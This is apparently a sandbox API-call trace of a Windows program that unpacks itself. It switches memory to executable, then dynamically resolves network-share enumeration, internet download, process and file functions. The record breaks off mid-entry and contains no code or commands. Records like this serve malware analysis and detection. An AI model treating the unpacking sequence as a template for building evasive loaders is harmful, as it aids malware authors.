[0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.540] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.578] lstrcpyA (in: lpString1=0x4b0340, lpString2="kernel32.dll" | out: lpString1="kernel32.dll") returned="kernel32.dll" [0057.578] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.587] lstrcatA (in: lpString1="", lpString2="Virtual" | out: lpString1="Virtual") returned="Virtual" [0057.587] lstrcatA (in: lpString1="", lpString2="Protect" | out: lpString1="Protect") returned="Protect" [0057.587] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0057.619] VirtualProtect (in: lpAddress=0x680020, dwSize=0x90e00, flNewProtect=0x40, lpflOldProtect=0x18fe68 | out: lpflOldProtect=0x18fe68*=0x4) returned 1 [0057.695] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0057.696] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0057.696] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0057.696] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0057.696] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0057.696] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0057.696] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0057.696] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0057.696] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x30 [0057.697] Module32First (hSnapshot=0x30, lpme=0x18fc00) returned 1 [0057.699] VirtualAlloc (lpAddress=0x0, dwSize=0x119e50, flAllocationType=0x1000, flProtect=0x40) returned 0x720000 [0057.734] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0057.734] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0057.734] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0057.734] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0057.734] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0057.734] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0057.734] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0057.734] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0057.734] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0057.734] SetErrorMode (uMode=0x400) returned 0x8001 [0057.734] SetErrorMode (uMode=0x0) returned 0x400 [0057.734] GetVersionExA (in: lpVersionInformation=0x18eb30*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18eb30*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0057.734] VirtualAlloc (lpAddress=0x0, dwSize=0x119000, flAllocationType=0x1000, flProtect=0x4) returned 0x840000 [0057.751] VirtualProtect (in: lpAddress=0x400000, dwSize=0x137000, flNewProtect=0x40, lpflOldProtect=0x18fbb8 | out: lpflOldProtect=0x18fbb8*=0x2) returned 1 [0057.917] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x76af0000 [0057.925] GetProcAddress (hModule=0x76af0000, lpProcName="RpcStringFreeW") returned 0x76b11635 [0057.925] GetProcAddress (hModule=0x76af0000, lpProcName="UuidCreate") returned 0x76b0f48b [0057.925] GetProcAddress (hModule=0x76af0000, lpProcName="UuidToStringW") returned 0x76b31ee5 [0057.925] GetProcAddress (hModule=0x76af0000, lpProcName="RpcStringFreeA") returned 0x76b33fc5 [0057.925] GetProcAddress (hModule=0x76af0000, lpProcName="UuidToStringA") returned 0x76b6d918 [0057.925] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75640000 [0057.927] GetProcAddress (hModule=0x75640000, lpProcName="WNetOpenEnumW") returned 0x75642f06 [0057.927] GetProcAddress (hModule=0x75640000, lpProcName="WNetEnumResourceW") returned 0x75643058 [0057.927] GetProcAddress (hModule=0x75640000, lpProcName="WNetCloseEnum") returned 0x75642dd6 [0057.927] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x758d0000 [0057.953] GetProcAddress (hModule=0x758d0000, lpProcName="InternetCloseHandle") returned 0x758eab49 [0057.953] GetProcAddress (hModule=0x758d0000, lpProcName="InternetReadFile") returned 0x758eb406 [0057.953] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenUrlW") returned 0x7594be5c [0057.953] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenW") returned 0x758f9197 [0057.953] GetProcAddress (hModule=0x758d0000, lpProcName="HttpQueryInfoW") returned 0x758f5c75 [0057.953] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenA") returned 0x758ff18e [0057.953] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenUrlA") returned 0x759130f1 [0057.953] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x75600000 [0057.955] GetProcAddress (hModule=0x75600000, lpProcName="timeGetTime") returned 0x756026e0 [0057.955] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x772f0000 [0057.955] GetProcAddress (hModule=0x772f0000, lpProcName="PathAppendA") returned 0x772fd65e [0057.955] GetProcAddress (hModule=0x772f0000, lpProcName="PathFindFileNameW") returned 0x7730bb71 [0057.955] GetProcAddress (hModule=0x772f0000, lpProcName="PathRemoveFileSpecW") returned 0x77303248 [0057.955] GetProcAddress (hModule=0x772f0000, lpProcName="PathFileExistsA") returned 0x7732ad1a [0057.955] GetProcAddress (hModule=0x772f0000, lpProcName="PathFileExistsW") returned 0x773045bf [0057.955] GetProcAddress (hModule=0x772f0000, lpProcName="PathAppendW") returned 0x773081ef [0057.955] GetProcAddress (hModule=0x772f0000, lpProcName="PathFindExtensionW") returned 0x7730a1b9 [0057.956] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeA") returned 0x76d5ef75 [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemDirectoryW") returned 0x76d45063 [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryW") returned 0x76d4492b [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="CopyFileW") returned 0x76d6830d [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="FormatMessageW") returned 0x76d44620 [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpynW") returned 0x76d6d556 [0057.956] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessA") returned 0x76d41072 [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcatA") returned 0x76d62b7a [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableA") returned 0x76d433a0 [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpW") returned 0x76d45929 [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="MultiByteToWideChar") returned 0x76d4192e [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700 [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="FlushFileBuffers") returned 0x76d4469b [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="GetShortPathNameA") returned 0x76d6594d [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="SetLastError") returned 0x76d411a9 [0057.957] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="LocalAlloc") returned 0x76d4168c [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventW") returned 0x76d4183e [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameA") returned 0x76d414b1 [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcatW") returned 0x76d6828e [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="SetEnvironmentVariableA") returned 0x76d4e331 [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3 [0057.958] GetProcAddress (hModule=0x76d30000, lpProcName="LocalFree") returned 0x76d42d3c [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpyW") returned 0x76d63102 [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileA") returned 0x76d45444 [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpyA") returned 0x76d62a9d [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="SetPriorityClass") returned 0x76d5cf28 [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameW") returned 0x76d4dd0e [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="SetStdHandle") returned 0x76dc454f [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryA") returned 0x76d6d526 [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringW") returned 0x76d43bca [0057.959] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeFormatW") returned 0x76d5f481 [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatW") returned 0x76d634d7 [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesW") returned 0x76dc425f [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultLCID") returned 0x76d43da5 [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocale") returned 0x76d5ce46 [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreW") returned 0x76d5ca5a [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="TlsFree") returned 0x76d43587 [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="TlsSetValue") returned 0x76d414fb [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="TlsGetValue") returned 0x76d411e0 [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="TlsAlloc") returned 0x76d449ad [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76d41916 [0057.960] GetProcAddress (hModule=0x76d30000, lpProcName="SetUnhandledExceptionFilter") returned 0x76d487c9 [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="UnhandledExceptionFilter") returned 0x76d6772f [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalMemoryStatus") returned 0x76d48b6d [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="FlushConsoleInputBuffer") returned 0x76de7a9f [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibrary") returned 0x76d434c8 [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenA") returned 0x76d45a4b [0057.961] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointer") returned 0x76d417d1 [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleMode") returned 0x76d5a77d [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileA") returned 0x76d453c6 [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="GetNumberOfConsoleInputEvents") returned 0x76de793f [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="PeekConsoleInputA") returned 0x76de6f0d [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="FreeEnvironmentStringsW") returned 0x76d451cb [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentStringsW") returned 0x76d451e3 [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeZoneInformation") returned 0x76d4465a [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="RaiseException") returned 0x76d458a6 [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="GetStringTypeW") returned 0x76d41946 [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleCP") returned 0x76de7bff [0057.962] GetProcAddress (hModule=0x76d30000, lpProcName="ReadConsoleW") returned 0x76de739a [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleMode") returned 0x76d41328 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="HeapSize") returned 0x77c73002 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryExW") returned 0x76d4495d [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="OutputDebugStringW") returned 0x76d6d1d4 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleCtrlHandler") returned 0x76d48a09 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="RtlUnwind") returned 0x76d6d1c3 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="FatalAppExitA") returned 0x76dc4691 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="GetStartupInfoW") returned 0x76d44d40 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringW") returned 0x76d417b9 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="AreFileApisANSI") returned 0x76dc40d1 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0057.963] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="HeapReAlloc") returned 0x77c81f6e [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalFree") returned 0x76d45558 [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="ReadConsoleInputA") returned 0x76de6f53 [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="GetStdHandle") returned 0x76d451b3 [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleExW") returned 0x76d44a6f [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="WriteConsoleW") returned 0x76d67aca [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0057.964] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0057.965] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTimeAsFileTime") returned 0x76d43509 [0057.965] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0057.965] GetProcAddress (hModule=0x76d30000, lpProcName="IsProcessorFeaturePresent") returned 0x76d45235 [0057.965] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidCodePage") returned 0x76d44493 [0057.965] GetProcAddress (hModule=0x76d30000, lpProcName="GetACP") returned 0x76d4179c [0057.965] GetProcAddress (hModule=0x76d30000, lpProcName="GetOEMCP") returned 0x76d6d1a1 [0057.965] GetProcAddress (hModule=0x76d30000, lpProcName="GetCPInfo") returned 0x76d45189 [0057.965] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThread") returned 0x76d417ec [0057.965] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThreadId") returned 0x76d41450 [0057.965] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0057.965] GetProcAddress (hModule=0x77130000, lpProcName="PeekMessageW") returned 0x771505ba [0057.965] GetProcAddress (hModule=0x77130000, lpProcName="PostThreadMessageW") returned 0x77148bff [0057.965] GetProcAddress (hModule=0x77130000, lpProcName="DefWindowProcW") returned 0x77c725dd [0057.965] GetProcAddress (hModule=0x77130000, lpProcName="DispatchMessageW") returned 0x7714787b [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="UpdateWindow") returned 0x77153559 [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="CreateWindowExW") returned 0x77148a29 [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="LoadCursorW") returned 0x771488f7 [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="IsWindow") returned 0x77147136 [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="ShowWindow") returned 0x77150dfb [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="RegisterClassExW") returned 0x7714b17d [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="PostQuitMessage") returned 0x77149abb [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="GetMessageW") returned 0x771478e2 [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="DestroyWindow") returned 0x77149a55 [0057.966] GetProcAddress (hModule=0x77130000, lpProcName="SendMessageW") 